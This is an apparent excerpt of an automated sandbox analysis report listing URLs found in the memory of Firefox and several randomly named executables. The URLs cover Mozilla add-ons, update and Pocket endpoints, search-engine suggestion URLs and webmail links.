Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caINSTALL_REQUIREBUILTINCERTSUPDATE_REQUIREBUILTINCERTScleanUpTopRecImpres
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001E.00000002.2492014669.0000018FC7877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2446287321.0000018FC1C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2431029489.0000018FC0D5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2441342220.0000018FC1837000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgcreateContentPrincipalFromOriginbookmarksToolbarWasVisiblemigrateXULAttrib
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2350694285.0000018FC04EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2381213988.0000018FAF911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2324623803.0000000006022000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361079492.0000000006021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 0000001E.00000003.2340535922.0000018FC0B32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180resource://gre/modules/TelemetryTimestamps.sys.m
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001E.00000002.2408419372.0000018FBF81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291102616.0000018FBF660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291287564.0000018FBF67F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001E.00000002.2443515993.0000018FC1AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2324623803.0000000006022000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361079492.0000000006021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001E.00000002.2381213988.0000018FAF911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001E.00000003.2327227071.0000018FC7750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001E.00000002.2387418053.0000018FBB2BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: c74ef7bd5d.exe, 0000000E.00000002.2202933789.000000000093C000.00000040.00000001.01000000.0000000E.sdmp, c74ef7bd5d.exe, 0000000E.00000003.2160499732.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000027.00000002.2470662469.0000000000F4C000.00000008.00000001.01000000.00000012.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B14000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2536584778.00003EB4D5D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001E.00000002.2534665912.00002A46B3800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjs
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2470373720.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2347662686.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001E.00000002.2402488688.0000018FBD160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Connecting
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2470373720.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2347662686.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0FD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2492014669.0000018FC78BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001E.00000003.2338502170.0000018FC3080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabValue
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000002.2492014669.0000018FC7877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreresource:///modules/UrlbarUtils.sys.mjs
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreresource:///modules/UrlbarUtils.sys.mjsresource:///m
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsPocket
